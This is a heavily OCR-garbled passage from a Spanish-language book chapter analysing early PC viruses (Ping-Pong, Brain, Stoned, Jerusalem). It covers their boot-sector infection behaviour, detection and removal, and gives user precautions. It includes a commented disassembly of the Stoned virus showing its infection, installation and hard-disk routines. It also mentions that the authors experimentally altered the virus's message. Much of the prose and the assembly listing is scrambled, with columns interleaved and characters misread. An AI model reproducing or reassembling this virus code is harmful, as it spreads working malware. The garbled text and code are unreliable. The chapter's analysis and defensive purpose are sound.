fue el cluster 2, sectores 12y 13, pues s ¢l primero que encon-
tro libre al infectar el disquete-.

Aunque el virus pareciera estar trabajando paralelamen-
te a los procesos que se estan llevando a cabo, la realidad es
que funciona bajo la modahdad de Robo de ciclo al micropro-
cesador.

5i se introduce un disquete a la computadora, quedard in-
fectado inmediatamente a menos que haya sido protegido
contra grabacion, El espacio que ocupa et virus de Turin es de
apenas 1 kB en el disco, y 2kB cuando se carga en la memoria.
La segunda parte del codigo del virus es la que activa la pe-
lotita que rebota en la pantalla del monitor, de acuerdo con
una senal de tiempo especifica.

En el mapa del disce infeclado por el virus de Turin (Figu-
ra 5.7) puede verse el cluster —grupo de sectores contiguos-
que ha sido marcado como daflade, pero no indica ninguin
cambio en el idrea de carga ricial (Boot area). Sin embargo, si
usted observa detenidamente el sector 0 del drea de carga ini-
cial nolara que los mensajes que generalmente se encuentran
en la segunda parte de ésta han desaparecido. Si continia
con el rastreo hasta el sector 12, localizara la parte comple-
mentaria del virus y, finalmente, al llegar al sector 13, jsor-
presal, aparecen los mensajes perdidos.
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Con esto queda demostrado que el virus estd ocupando el
sector le corgit nticial v ha enviado su parte complementaria y
el proyrama de carga pucial (Boot program) a los sectores 12 v
13 del cluster 2, ’

Si usled busca el desplazannento {displacement) 21 del sec-
tor 0 del area de carga inicial infectada, y lo conipara con el
primer desplazamiento de fa tabla de asignacion de archivos
(File Allocation Table, FAT), advertird que ¢l nimero hexade-
cimal que aparece ahi sigue siendo FI. lo que en esle caso no
denota ningtin cambio, pero algunos virus coma el de Paquos-
tin escriben su cddigo v mensajes sobre el bloque de parame-
tros det BIOS, en cuyo caso no comncide el desplazamiento 21
del Boot con ¢l primero de la FAT

Conociendo los imfreadores del sector de carga y de la FAT
que no deben variar, podemos fdcilmente determuinar si esas
dreas eriticas del disco pucden haber sido frfectadas por alyin
virns. Por ejemplo, algunos antivirus en su biisqueda inclu-
yen los valores 55 AA al final del sector 0 {Figuira 5.6), ya que
estos dos numeros hexadecimales son con los que lermina
siempre el programa original de carga, si no estan o han sido
sobreescritos, algo anda mal.

Para realizar ustas busquedas de cadenas’de caracteres, s¢
cuenla con programas de ulilidades como PC Touls, que desde
sus primeras versiones ofrece la funciin Basqueda (Find),

T

Figura 5.9
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Buscar Texto {Text Search, TS) de Nortan Utilities, o Bis-
queda (Find} en el mena Herramientas (Tools) del Editor de
Discos {Disk Editer) de las Utitidades Nojton version 7.0.
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En este caso de estudio se pudo observar que el virus infec-
ta al disco duro, pues cuando se cargd el virus en la memoria
de la computadora y se le pidi6 a ésta que mostrara el direc-
torio de la unidad C, éste quedé contaminado. Se busca el
disco duro contaminado y aparecio el programa de carga inictal
en el sector 252 -el disco fijo de prueba era de 20 Mb de capa-
cidad-. Se curd la computadora utilizando un programa antj-
virus y se reinfectd, en esta ocasidén envié el programa de
carga al sector 256 -los sectores anteriores ya contenian infor-
macién-.

El virus de Turin utiliza instrucciones que son propias de
los microprocesadores 8088; es decir [BM PC o IBM PC/XT o
compatibles, por lo que no infecta computadoras basadas en
procesadores 80286, 80386, 80486 o Pentium. Esto hace que a
este virus se le considere “extinto”, ya que actualmente exis-
ten muchas mas computadoras 386 y 486; por otro lado,
olros virus de sector de arranque mas poderosos lo han des-
plazado

Ping-Pong, que es otro de los nombres con gue se le conoce,
se activa en cuanio el reloj de la computadora cumple las
condiciones programadas en su cadigo, exhibiendo en la
pantalia del monitor una pelotita que rebota hacia todos la-
dos; sin embargo, esta molesta pelotita no ocasiona danos a
los archivos. Prucbas exhaustivas en nuestras computadoras
indicaron que se activa cuando se hacen accesos de lectura o
grabacion al disco, y ¢l reloj estd marcando unos diez segun-
dos antes de 1a hora o las medias horas; es decir, a las 2:29:53,
2:59:53, 6:29:54, 6:59:53, 15:29:53, 15:59:54, etc.

Algunos antivirus creados en la parte criental de Europa,
reportan versiones como Hacked Ping-Pong, que en lugar de
presentar la pelotita en el monitor, mediante una subrutina
borra los ocho primeros sectores de los disquetes, y Ymikee
Ping-Pong, que es una modificacion hecha al de Turin, por
una infeccion anterior del virus Yankee Doodle.

Los programas antivirus primero verifican el drea de cargn
inicnl (Boot sector) y, si no encuentran el programna original de
carga inicial (Boot program), le buscan donde esté y lo copian
o lo restauran en el sector 0. Dejan ¢l codigo del virus y ¢l an-
tiguo programa de carga inicial en donde lo colocd el virus al
infectar el disco. Al restaurar el programa original en el sec-
tor 0, queda erradicado el virus y ya no representa ningan
peligro para su sislema porgue al “cargar” Ia computadora,
la carga se hari con elprograma correclo. jEl virus ha muer-
to, R.LP! Viva el virus!

-
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5.1.3 El virus de Paquistan

Figura 5.11
Mapade un
disquete de
5", infectado
con &l arlginal
virus de
Paquistan.
Cbserveios
clusters 55 a 57
marcados como
danados.

El wires de Pagquistdin o Brain, otro mfecior del sectar de arran-
que, al igual que todos tos demds virus conocidos ha sufrido
una serie de mutaciones, adiciones, modificaciones, ete , que
propician que cada iny estigador quetollegaa percibir se re-
fiera a él de manera diferente Tal como se procedi con el vi-
rus de Tierin, se presenta aqui el mapa de un disquele de 5 14*
de 360 kB infectado con la version 9 0 de la variante conocida
como piries del zapato (Shoe Virus),

Este virus ocupa 9 kB en la memoria y 3 072 bytes —suis sec-
tores— en ¢l disco infectado. Cuando esta presente en la com-
putadora hace muy lentos los procesos de acceso de lectura y
grabacion, sobre todo cuando busca algiin disco al cual con-
tagiar y éste se halla protegido contra escritura, ya que antes
de mostrar fo que se le pide, realiza varios mntenlos de infec-
cion Contrarioalo quecreenla mayoria de las personas, nin-
gun disco asi protegido puede ser infectado Se hace esta
aclaracion porgue hay quienes picnsan que los virus infor-
mdlicos pueden trasmitirse de un disco a otro, incluso cuan-
do se puardan junlos, en una NUsia ¢aja, Jiscos sanos v Jiscos
infectalos |

Al located: .

3 File ltoc Tabte' § Read Only

Dvirectory . §pad Cluster
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Estd considerade como muy dafinoe v dificil de erradicar
en sus modahidades actuales, que dificren mucho de la swawe
version original creada en Lahore, Paquistan, la cual presen-
taba un mensaje, los datos del registro de autor v fecha: Wel-
come to the dungeon... Beware of this VIRUS. Contact us for
wacciuntion, con capyright 1986; los nombres Basit y Anyad; el
nombre de la compania, Biain Compudter Serorces, v la direc-
160, 730 Nezam Block Allama Igbal, Lahore, Paqieistin, asi como
sus numeros telefénicos.

Los autores aseguraron que habian creado el virus solo
para control de su propio software. En su version origimal in-
fecta tinicamente las discos flexibles de 5 14~ y, al desalmise,
reemplaza al sector de carga y lo coloca en algan sector libre,
senala como sectores no vtilizables todos los que ha ocupado
para su proleccion. Hace muy lenta la operacidn de carga v
borra muchos archivos —la version que se conoce en México
no produce esos dafos—.

Adiferencia del virus de Turin, este virus si grabasu codigo
en el drea de carga tnicial sobre los primeros 32 desplazamien-
tos —irea conocida como bloque de parametros del BIOS
(BIOS Parameter Block, BPB)-. Después la copia a partir del
sector 118 o del primer sector vacio que encuentra, y realiza
una copia de st mismo en los sectores siguientes, marcando
todos éstos como danados, tal y como Io podemos ver en el
mapa del disco infectado de ta Figura 5.11.

Al trabajar con un disco infectado por ¢l virus de Paquis-
tin, se nuta que Ia nfeccion no es senailla. Deben cumplirse
ciertos requisilos para que ésta se lleve a cabo, de modo que
no se debe crear panico por causa de los virus, ya que por lo
menos las versiones conocidas resultan manejables y s se to-
man [as precauciones necesarias, no representan mayor pro-
blema, ademads, con la gran cantidad de programas antivirus
que se encuentran ya al alcance de cualquier usuario, este
tipo de virus es muy fiacil de erradicar.

Durante el proceso de investigacidn, se trabajé con las versiones
33, 50y 6.2 del sislema operauvo MS-DOS, protegiéndolas
contra grabacion También se uttlizaron 1as versiones 4,21 y 8.0
de PC Tools, 4 5y 7 0 de Norign Utiliies v 1.0 de Q-DOS 3 de
Gazelle Syslems, cuyos discos igualmente se proiegieron.
Después de infeclar una gran cantidad de discos y analizarlos con
estas herramientas, se procedié a venticarlos con varios
programas detaclores de virus y se curaron con antivirus, la
mayoria de los cuales cumplié su cometido.

Figura 5.12
Secior de carga
de un disquete
dedu”
infectado con el
virus de
Paquistan,
observe el
mensale de los
creadores del
virus.
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.

Despucs de estos procedimicentos se compiobaron todos

los discos protegidos con los que se trabajd, v nunca se en-

contrd en ellos senal alguna de inleccion o modificacion. Esto

demostré que la proteccion de los discos condra escritura es

realmente confiable v no se debe temer a las infecciones 51 se
toman las debidas precauciones
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Las varianives mas conocidas de esle virus son bran-8, de-
nominado tambicén Vires Houslon, y es la vanante del virus
de Paquistan que adiciond la opadn para infectar los discos
fijos 0 duros Braum-C infecta ol disco dure, como el anterior,
pero se le ha eliminado la etiqueta de copynght (Brain) del
sector 5, hacendo mas dificil su deteccion. La version v9.1
del Shoe Virus-B, se ha modihcado para que no infecte a los
discos fijos. La vanante Clone-B corromperd la tabla de asig-
nacion de archivos (File Altocation Table, FAT) si se carga
después del 5 de mayvo de 1992

Enlas Frguras 5 12y 3 13 se ve el seclor de carga imicial del
disquete, donde se puede Teer o mensaje v los nombres de
sus awtores, La version de esle virus que se estudio es b 2.0
del v nsdel zopafo (Shoe virus). Esla es una de las muchas mo-
dificaciones que se han hecho al wiris de Paguistdan v iene ca-
racteristicas muy especiafes, ademas de que se ha fusionado
con una infeccion del peris de Turin:
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Figura 5.13
Segunda parle
del sector de
cargo del
disquete
infectado.
donde no se
encuentrarn los
mensajes del
DOS.
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» Aunque teoricamente el virus de Pagiastdn no infecta dis-

cos duras, esta version si contagia el disco fijo de 20 AMb. Se
ubicd enlatablade particiones y cop16 su codigo alos cfus-
ters 260, 264 v 268 del disco, los cuales fueron marcados
como clusters zhni'f?rf(?:- por ¢l virus,

¥ Esta version se fusiond con una infeccion antenior del virns

e Turin, por lo que ocupa mds espacio —tres clusters; es decir,
seis sectores—y presenta en el “mapa” mas clusters dana-
dos- No obstante, siempie predomina el controt del vrris
Brain o Paguistani. Por esta razon es que infecta los discos du-
ros —¢l virus de fariir s el que los infecta, no el pagquistini-.

» Cuando se trata de “limpiar” el disquete intectado, con

Clean de McAfee, el antivirus ubica ¢l conlenido del sector
12 en el drea de carga, creyendo que esld restaurdandola, y lo
que esld haciendo realmente es infectar con el virus de Tie-
rin el disquele, por lo que se deberd ejecutar nucvamente
el programa Clean para, ahaora si, quitar el vnus de tirin: En
este caso st sabe Clomr que el sector 13 es el que contiene ¢l
progranit de caiga orivinal

Este si podria ser un virus dafmag, pero en el desensambia-
do que se hizo con Debug, se han descubierto rutinas gue
han sido desactivadas por algin programador, aprove-
chando que cl programa del virus ¢sta escrito con un cadi-
go muy elegante.

Figura 5.14
Sector 1 donde
se aloja la
primera copia
de la FAT del
disquete
Infectado con el
virus de
Pagquistan.
Observe la
codena de
identiflcaclon
del virus: 7F FF F7
7F FF F?. lo cual
es la marca de
los sectores
danfados.
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» Cuandontecta, inttoduce una parte de siecadigo en el see-
tor cero del disco, v el codigo de Turin v el programa de
carga en el cluster 3 (5uLturca 12y 13, oenel primera que
encuentre libre Enseguda envia nuevamente el programa
de carga —,por duphcadol-, junto con una copaa de la FAIL
v el resto de sucodigo, alos clusiers 55 a 6l (soctores 1180
123} si estin vacios, s1no dos ulvca a partic del primer clus-
ler vacio que encuenhia
Marca todos fos clusters utihirados —catorce sectores en to-
tal- como dadades. Al desinfectar el disquete, se elimina el
virus del sector de carga, pero se quedan marcados los
chusters malos, uduuundu asi mpaud.ul de almacena-
micnto de datos en eof disco.
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Cuando se reslaura el programa da carga inicial {Boot program) de
un disco infectado, regresandola a su lugar original —en el sector
0-, se destruye el virus, pues aunque una parte de su codigo siga
en el disco, le faltara el codigo icial, que es la que lo acliva en la
memoria para cumplf su comebdo.

Para proteguerse de este virus en particular, y de todos los
infectores del drea de carga (Boot sector), se recomienda lie-
var a cabo las sigutentes indicaciones:
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Figura 5.15

Enelsector S del s ] -

disquete Absolute sector 0000005, System ROOT

infectaco, el '

lolii=odloli oW o/ =T Displacenent ———————— Hex codes

virus Incluye el m:ﬁ; )

copyrighty el 0012 (6620)

nombre da Brain 004BL0879)

Computers de 0064 (0040} . (e} Brain
Lahore, 0OBHI(0§50) '

Paquistan 009 10060
0112(0070)
0128(0060)
0144(0090)
0160 (06AS)
0176(00B0)
0192(00C0).
026300800}
0224(00ED)
0246(06F0) .
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Figura 5.16 Y
Mapa de un Path=B
disquete de
5% " Infectado ..
con el virus del Entire disk napped
zapato. Observe Ry Track
el cluster2 y los ’

Clusters 550 60 et
marcados cemo
daonados.

LR i
. Explanation of (odes
5 Muailable Al located
:3 Bogt record hidden
J File Alloc Table § Read Only
T Directary o Bad Cluster |

# Nunca deje disquetes “olondados™ dentra de la computadora
cuando la apague, de lo contrano, cuando ta encienda po-
dria infectarla si el disquele contiene el virus en el sector 0.

/5
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# No introduzca a su computadora disquetes de dudosa
procedencia o conteniendo programas piratas, es posible
que algtin virus de sector de arranque venga incluido con
cllos.

7 Cuente stempre con uno o varios programas antiviris, pa-
gue por la licencia respectiva y obtenga las actualizaciones
mensuales o bimestrales que siempre ofrecen las empresas
serias que se dedican al tema.

» Active en la memoria de la computadora un programa
TSR monitor que le indique cuando se pretenden hacer ac-
cesos “peligrosos” de lectura o grabacion a sectores criticos
de los discos. La versidon M5 DO5 6 incluye un programa
resudente et memoria que ofrece diferentes configuraciones
de proteccion contra grabacion y achividades virales; se de-
nomina VSAFL.EXE,

5.1.4 Virus Stoned

Otro virus que se analiza es el que se conoce conel nombre de
Stoned, que quiere decir drogade Este virus se achva de mane-
ra semejante a los dos anteriores, por lo que omitimos las ge-
neralidades va conocidas. Lo que resulta interesante y
diferente con respecto de los otros dos es que al activarse en
la memoria, cuando se carga con un disco infectado, visuali-
za alcatoriamente un mensaje en la pantalla:

Your PC is now Stoned! (Su computadora esti drogadal).
LEGALIZE MARIJUANA (Legalicen la mariguana).

La primera version gque se conocid, en (ebrero de 1988, pre-
sentaba ¢l mensaje completo, pero después se supo de infec-
ciones que s6lo desplegaban aleatoriamente el mensaje: Your
PC is now stoned. Al infeclar la compuladora de prucbas con
este virus, infectd cualquier disquete que se introdujo, tnica-
mente con pedir ver su direclorio. De inmediato reemplaza-
ba el programa de carga inical (Boot program) por su propio
codigo en el sector 0y enviaba el programa de carga al sector
11 que se enconlraba vacio —este sector es el ultimo del direc-
torio raiz—

Debido a que su codigo es sencillo y facil de comprender,
esle virus originane de Nueva Zelanda ha servido para que
a partir de €l, se disefien muchisimas variantes o nuevos vi-
rus, mas mahgnos y destructivos, algunos de ellos son: Hemp,

|
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Figura 517

Seclor de carga
infectado con el
virus Stoned,
Observe que los
letreros del DOS
han sido
reemplazados
por el mensgje
del virus,
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" € is nou Stoned?

< I LEGALISE mo

New-Zelamd, Hawar, Manjuana, Snuthsoman, 1881 Boot, Do-
natd Duck, Rostov, San Drego, Sex Revolutun, No-tat, Foil Fuipi-
re, Stoned U, Denniis, Stoned-16, Slened-AT Love, Stoned-Collos,
Stoned-Mexican, Stoned Mutation, ademds de muchos olros.
Incluso, experimentando con ¢, se pudieron hacer modifica-
crones para que apareciera otro texto en el mensaje (ver Figu-
ra 5.18). Naturatmente el virus modificado fue destruido

enseguida,

Staned infecla los discos duros ubicando su cadigo en el seclor
fisico, Cilindro 0, Lado 0, Seclor 1, y desplazando la fabla de
particiones (Master Bool Record, MBR) al Ciindro 0, Lado 0,
Sector 7, por o tanto, la informacién que ahi se encuentre, puede
ser dafada. Algunos discos duros alojan en esa direccion la tabia
de asignacion de archivos (FAT) o el directono raiz, asi que la
informacion de este tipo de discos podria resullar totalmente

irrecuperable.

La mayoria de anlivirus actuales reconoce, lipin yorestau-
ra los discos duros o disquetes infectados por el vnus Stoued,
pero lambidn se puede hacer una figaesa nuninal, s Jdeer, se
puede restablecer el sector donde estd alojada 1 fabla e par-
Hciones orgmal, copiandola al sector isico Cilindro ) Lado 0,

‘Wﬁﬁ?"_

Figura 5.18
Mensole del virus
Stoned
modificado. El
virus modiflicado
fue destruido
después de
capturar esta
pantalla.

Figura 5.19
Tabla de
particloneas sana
de un disco duro
infectado con
Stoned.
reublcada al
Cilindro 0, Lado
0, Sector 7.
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Sector 1, con algiin programa editor de sectores de disco,
como PPC Tools o Nurton Utilities, o ¢jecular ol comando
FDISK del DOS desde un disquete sana en la unidad A
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FDlSK /MBR Ahdkaaappd A b AN AR
* Seccidn de infeccion *
Para erradicarlo de los disquetes, se hace de igual manera; Teerrrasenrraaannnest
restaurando el programa de carga inicial original al sector 0.
No debe ser motivo de preocupacién que se guede el progra- g;gggggg g‘? :Hg: gi
ma de carga en el sector 11, pero st lo desea, puede escribir 07C0.003C 52 PUSH DX
ceros en €l fambién con un editor de discos. 07€0.0030 06 PUSH  ES
Enseguida se presenta un listado desensamblade del virus 07C0.003E 56 PUSH  SI
Stoned con algunos comentarios a la derecha, separando las 07C0 003F 57 PUSH o]}
diferentes rutinas que realiza éste. 07C0 0040 BEO400 MoV $1.0004 Realiza 4 intentos de infeceidn al disco,
07C0.0043 B80102 MOV AX 0201
07C0 0046 OE PUSH Cs Lee el sector de carga (Boot sector) del
Saddb bl Gdanb i bbb rindanbdndAddpnanin 0700004?07 POP ES discosano.
Principto del archivo infectado con el virus Stoned 07C0:0048 BBOOO2 MoV BX,0200
Sdepnibaanad bt iaadnaaa R b AN AAn RAARRES 0?0000483309 XDR CX,CX
07C0-0040 8BD1 Mov 0X,CX
07C0 0000 EADSQ0CD07  JMP 07C0.0005 Salta a a rutina de instalacidn del virus. 07C0 004F 41 INC Cx
07C0'0005 E99300 JMP 00A1 07C000509C PUSHF
07C0.0008 0059EC ADD {BX+DI-14) BL 07C0:0051 2E Cs:
07C0 00CB 00F0 ADD AL,DH Espacio reservado por el virus para 07C0 0052 FF1E0300 CALL  FAR[0009]
07C0.000D E400 IN AL00 guardar sus variables. 07C0.0056 730E JNB 0066 St no encuentra error, infecta.
07C0:000F 807F007C CcMmP BYTE PTR [BX+00],7C 07C0'0058 33C0 XOR AX AX
07C0.0013 0000 ADD [BX+51],AL . 07C0.005A 3C PUSHF Si existe error restablece y vuelven a
07C0.005B 2E CS intentar.
07C0 005G FF1EQ90C CALL  FAR [0009]
" Seccidn activa del virus * 07C0:0060 4E DEC Sl
ddaddanardaabAAAAEFAAAAA 07000061 ?SEO JNZ 0043
07C0.0063 EB35 JMP 009A No se pudo infectar.
07C0.0015 1E PUSH DS 07C0 0065 90 NOP
07€0.0016 50 PUSH  AX 07C0.0066 33F6 XOR Sl.8i Comienza la infeccion
07C0.0017 BOFCO2 CMP AH 02 E! virus venfica si no es intento de 07C0 0068 BF0002 MOV D1,0200
07CO:001A 7217 JB 0033 lectura o escritura, 0 SI No €S acceso a 07C0.006B FC CLD
07C0 001C 80FCO4 CMP AH 04 {a unidad A. Si es asf no infecta. 07€0.006C OE PUSH CS
07C0001F 7312 JNB 0033 07C0° 006D 1F POP DS
07£0.0021 0ADZ OR OL.OL 07C0.006E AD LODSW
07C0°0023 750E JNZ 0033 07C0.006F 3B05 CMP AX,[DI] Verifica si el disco ya estaba contagiado.
07€0.0025 33C0 XOR AX AX 07C0.0071 7506 JNZ 0079
07C0-0027 8ED8 MOV DS AX 07C0 0073 AD LODSW
07C0.0029 AD3FD4 MOV AL.[043F) Sino es el primer acceso al disco 07C0.0074 3B4502 CMmp AX |D1+02]
07C0.002C AS01 TEST AL,01 tampoco infecta. 07C0.0077 7421 JZ2 009A
07C0.002E 7503 JNZ 0033 07£0'0079 BBO103 MOV AX,0301
07C0:0030 EBO700 CALL 003A Procede a infectar. 07C0.607C BB00D2 MoV BX,0200
07€0.0033 58 POP AX 07C0.007F B10B MoV CL,03 Traslada el programa de carga original
07C0'0034 1F POP DS 07€0.0081 B601 MOV DH,01 (Boot program) al sector 11,
07C0 0035 2& cs: 07C0.0083 8C PUSHF
07C0:0036 FF2E0300 JMP FAR [0005] Regresa a la rutina nprmal de 07C0 0084 2E CS.
interrupcién, 07C0 0085 FF1E0900 CALL FAR [0009]
U‘l i
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07C0 0089 720F
07C0 0088 B30103
07C0 00BE 33DB
07C0 0090 B101
07C0 0092 3302
07C0 0094 9C
0700 0095 2E
07C0 0096 FF1EDS00
07C0 009A 5F
07C0 D09B 5£
07C0009C 07
07C0 008D 5A
07C0 DOSE 59
07C0 005F 5B
07C0 00AD C3

Shbdnrar b un A b han

daungnan

07C0.00A1 33C0
07C0 0DAZ BEDS
07C0-00AS FA
07C000A6 BEDOD
07C0.00A8 BCOO7C
07C0:00AB FB
0700 DOAC A14C00
07C0-00AF A3097C
07C000B2 A14E00
07C0-00B5 A30B7C
07C0 00BB A11304
07C0.00BB 48
07C0'008C 48
07C0.00B0 A31304
07C0.00C0 B106
07C0:00C2 D3EQ
07C0.00C4 BECO
07C0.00C6 A30F7C
07C0-00C9 BB1500
670 D0CC A34C00
07(G0 00CF 8COG4E0D
07C0-00D3 BIBEOY
07C0 00D6 OE
07C0 00D7 1F
07C0:0008 33F6
G7C0 00DA 8BFE
0760 00DC FC

NATAS y otros virus

JB

MoV
XOR
MOV
XOR

PUSHF

CS

CALL

POP
POP
POP
POP
PQP
POP
RET

AaEa

* Instalacion del virus *

LR N Ry

XOR
MOV
CLl
MOV
MOV
STl
MOV
MOV
MoV
MOV
MoV
DEC
DEC
MOV
Mov
SHL
MoV
MOV
MOV
MOV
MOV
MOV
PUSH
POP
XOR
MOV
CLD

009A
AX.0301
BX,BX
CL,01
DX.DX

FAR [0008]
8]

]|

ES
DX
CX
BX

AXAX
bS.AX

SS.AX
SP7C00

AX,[004C)
[7C09) AX
AX,[0D4E]
[7C0Bj].AX
AX,[0413]
AX

AX
[0413],AX
CL,06
AX,CL
ESAX
[7COF],AX
AX.0015
(004G AX
[004E] ES
CX.0188
cS

0S

S1.81
DI.SI

Se copia el virus en el disco.

Termina la infeccién,

Lee fadireccidn de la inferrupeidn que
va a sustituir

Se conecta a la imerrupcign.

07C0 00DD F3

07C0 0QDE A4

07C0 00DF 2E

07C0 00EQ FFZEODOO
07CO DOE4 BBOOOO
07C0 00E7 CD13
07C0.00€9 33C0
07C0 00EB 8ECD
(07C0 00ED B&0102
07C0 0OF0 BBOO7C
07C0 ODF3 2E

07G0 COF4 803E0BC000
07CO 00F9 740B
07C0 OOFB B90700
07C0 OOFE BABQOOD
07C0.0101 C13
07C0 0103 EB48
07C0 0105 90
07C0 0106 B0300
07C0'0109 BADOO1
07CO MOC CD13
07C0 D10E 723E
07C00110 26
07C0 0111 F6066C0407
07C0.0116 7512
07C0 0118 BEBSO1
07C0011B O
07C0.011C 1F
07C0 011D AC
07C0.01tE DACD
07C0 01207408
07C0.0122 B4QE
07C0-0124 B700
07C0:0126 CD10
07C0.0128 EBF3
07CO 0124 OE
07C0.012B 07
07C0 012C B80102
07C0 012F BBO0O2
07C0 0132 8104
07C0 0134 BABCOCD
07C0 0137 CD13
07C0 01397213
07C0 013B OE
07C0 013C 1F
07C0 013D BEODO2
07C0 0140 BFOO00
07C0.0143 AD
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REPZ
MOvSB
CS:
JMP
MOV
INT
XOR
MOV
MOV
MOV
CS:
CMP
JZ
MOV
MOV
INT
JMP
NOP
MOV
MOV
INT
JB
ES
TEST
JNZ
MOV
PUSH
POP
LODSB
OR
JZ
MOV
MOV
INT
JMP
PUSH
POP
MOV
MOV
MOV
MOV
INT
JB
PUSH
POP
Mov
MoV
LODSW

[

107

Se copia el virus a la memoria
b protegida

FAR [0000]
AX,0000

13

AX AX
ES.AX
AX,0201
BX,7C00

BYTE PTR [000B],00 Verificacon qué disco se cargo el
0106 sislema operativo DOS Fue det disco

Cx,0007 duro, asi que lee el programa de carga
DX,0080 original (Boat program) del sector 11

13

014E

CX,0003
DX,0100
13

014E

BYTE PTR [046C),07

012A Si es el séptimo intento de “carga”, se

51,0189 presenta en 1a pantalla el letrerp "Your

Cs PG is now Stoned! NOTA: Aunque el

DS letrero debiera aparecen en el séptimo
intento de “carga”, sélo aparecen en

ALAL {orma aleatoria (eslo parece ser a causa

012A de modificaciones a la versidn original).

AH OE

BH,00

10

011D

Cs

ES

AX,0201

BX,0200

CL.01 Verffica s1 existe disco fijo o duro Sino

DX,0080 existe continda. Si existe, verifica si ya

13 fue infectado. St no ha sido infectado,

014E salta (Jump) a la rutina de Infeccidn del

CS disco duro.

DS

81,0200

01,0000
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07C0.0144 3B0% CMP
07C0 0146 7511 JNZ
07C0:0148 AD LODSW
07C0.0149 384502 CMP
07C0:014C 7508 JNZ
07C0014E 2E CS:
07C0:014F CE06080000 MOV
07C0.0154 2E Cs:
07C0.0155 FF2E1100 JMP
“ Infeccion del disco duro *
07C0.0159 2E Cs:
07C0-015A C606080002 MOV
07C0015F BBO103 MoV
07C0.0162 BBOOC2 Mov
07C0:0165 850700 MOV
07C0:0168 BABOOO MOV
07C0016BCD13 INT
07C0:016D 720F JB
07C0.016F OE PUSH
07CoO701F POP
07C0.0171 0E PUSH
07C0.0172 07 POP
07C0 0173 BEBED3 MoV
07C0:0176 BFBEO1 MoV
07C0:0179 B34202 MoV
07COM7CF3 REPZ
07C0.017D A4 MQovSB
07C0.017E B80103 MoV
07C0 0181 3308 XOR
07C0:0183 FEC1 INC
07C0.0185 CD13 ‘ INT
07C00187 EBCS JMP
07C0.0183 07 POP
07C0'018A 59 POP
07C0.018B 6F DB
07C0 M8C 7572 JNZ
07C0-018E 205043 AND
07C0°0191 206973 AND
07C0°0194 206E6F AND
07C0 0197 7720 JA
07C0:0199 53 PUSH
07C0°019A 746F JZ
07C0019C 6E DB

AX,[DI]
0159

AX [DI+02)
0159

BYTE PTA [0008),00 -

FAR [0011}

Ejecuta el programa de carga ariginal.

BYTE PTR [0008] 02

AX,0301
BX,0200
CX,0007
DX,0080
13

014E
Cs

DS

]

ES
S1,03BE
DI1,018E
Cx,0242

AX,0301

BX BX

CL

13

014E

ES

CX

6F

0200
[BX+S1+43],0L
[BX+D1+73),CH
[BP+6F] CH
0183

BX

0208

6E

Copia el programa de carga original en
el sector 7.

Se copia el virus en el disco, |

T'

07C0 0190 65
07C0 019€E 64
07C0 019F 2107
07C0 01A1 ODOADA

07C0.01A4 004C45

07C0 01A7 47
07C0:01A8 41
07C0.01A9 4C
07C0.01AA 49
07C0O01AB 53
07CO O1AC 45
07C0 01AD 204D41
07C0 0180 52
07C0 018149
07C0 01B2 4A
07C0 01B3 55
07C0 ¢1B4 41
07C0.01B5 4E
07€0.0186 41
07C0.01B87 210D

R r

* Fin del virus *
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DB 65
DB 64
AND {BX].AX
OR AX.0A0A
ADD [Si+45],CL
INC ol
INC CX
DEC SP
DEC CX
PUSH BX
INC BP
AND [DI+41)CL
PUSH DX
DEC CX
DEC DX
PUSH BP
INC Cx
DEC Sl
INC CX
AND (D1],CX

AAREANRAR AR

akAAdaan

Como se ve en la seccidn active del virus, 1a seleccién de los
discos a infoctar y Ia verificacion para saber si el disco ya ha
sido infectado, las reahiza por el procedimiento de negacion.

Virus Stoned No-Int

Una de las modificaciones del virus Stoned que mas se ha di-
[undido, —incluso ¢n esta editorial se reciben todavia disque-
tes de autores, revisores y empresas de venlas de libros,
conteniendo informacion de Irabajos normales de uso diario,
que vienen en disquetes contaminados en el seclor de arranguie
{Boot seclor) con este virus—, s ¢l Stened 11 -asi lo identifica
McAfee-, que la mayoria de antivirus conoce como Stoned
No-Int, Bloomington o LastDirSect.

Este nuevo virus ya no incluye los mensajes del Slosed an-
terior. Las primeras noticias de ¢l datan de 1991 en Canada, y
utidiza la técuica Stealtl —canteloso o sigiloso—; es decir, se pro-
tege o se esconde cuando estad activo en la memoria de ta
computadoray se le trata de localizar con algGn antivirus, al-
gunos de ellos al revisar la memoria indican que no se en-
cuenira ningun virus ahi —ya que el mismo virus redirecciona
la busqueda al sector donde se encuentra el programa de car-
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ga original-, aunque el comando CHKDSK del DOS reporta
2 048 bytes menos de memona.

Igual que su antecesor, Stoned 1 se ubica en ol sector 0 v
envia el programa de carga al sector 11 de los disquetes de
360 0 720 kB, y al 17 en caso de disquetes de alta densidad
-1.2 y 1 4 MB-. Latabla de particiones ariginal de los discos du-
tos la reubica en la direccion fisica: Cilindra ¢, Lado 0, Sector 7.

5.1.5 El virus de Jerusalén

EI Nota:

A diferencia de los cuatro virus anteriores, éste es un virus
iuﬁ’r!or de archivos ejecutables —-programas con extension .EXE
0 .COM-. Es uno de los mds peligrosos que se conocen, y se
ha difundido ampliamente en Estados Unidos, México, pai-
ses de Centro y Sudamérica, Espafia y Europa en general,

Se le conoce también como virus fsraeli o del Viernes 13-
Este virus, hasta hace poco era uno de los mas cantagiosos
porque infecta los programas, y no se necesita mas que ejecu-
tar ¢l programa infectado para que se inslale en la memoria
de la computadora. Una vez en la memoria, infectara todos
los programas que se ejecuten en la misma sesidn de trabajo.

Jerusalén es un famoso virus que se dascubrid a hnes de 1987 en
la Universidad Hebrea de Jerusalén en los discos de las PC de IBM
y sus compatibles, Se dice que fue desarrollado por aclivistas de la
COrganizacion para la Liberacion de Falestina (OLP}, para que
iniciara su accién el 13 dg mayo de 1988 con motivo de la cele-
bracién del 40° aniversario del ultimo dia de Palestina como nacién.

Infecta al sistema mediante el archive COMMAND.COM,
pero también ataca los programas ejecutables, incluyéndose
al final de éslos e incrementando la longitud del archivo en
1808 bytes—la primera vez que infecta crece el archivo en
1792-. El virus se instala como residenie en memonia, ha-
ciendo que la ejecucion de los programas sea considera-
blemente mas lenta.

La versién original se reproducia tantas veces en los pro-
gramas infectados, que crecian de Lal modo que liego no se
podian cargar en la memoria; su tamafio no le permitia seguir
reproduciéndose en el disco por falta de espacio suficiente,
pero posteriormente algiin programador resolvid el proble-
ma contrelando su crecimiento desmedido, facilitando asi su
propagacion controlada.
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Su deteceion no se dificulta si se revisa constantémente la
cantidad de bytes de los archivos ejecutables, v si se nota al-
guna modificacion, probablemente se trate de una n fecc'ic':n
por este virus, 5i se ejecuta un programa infectado enun vier-
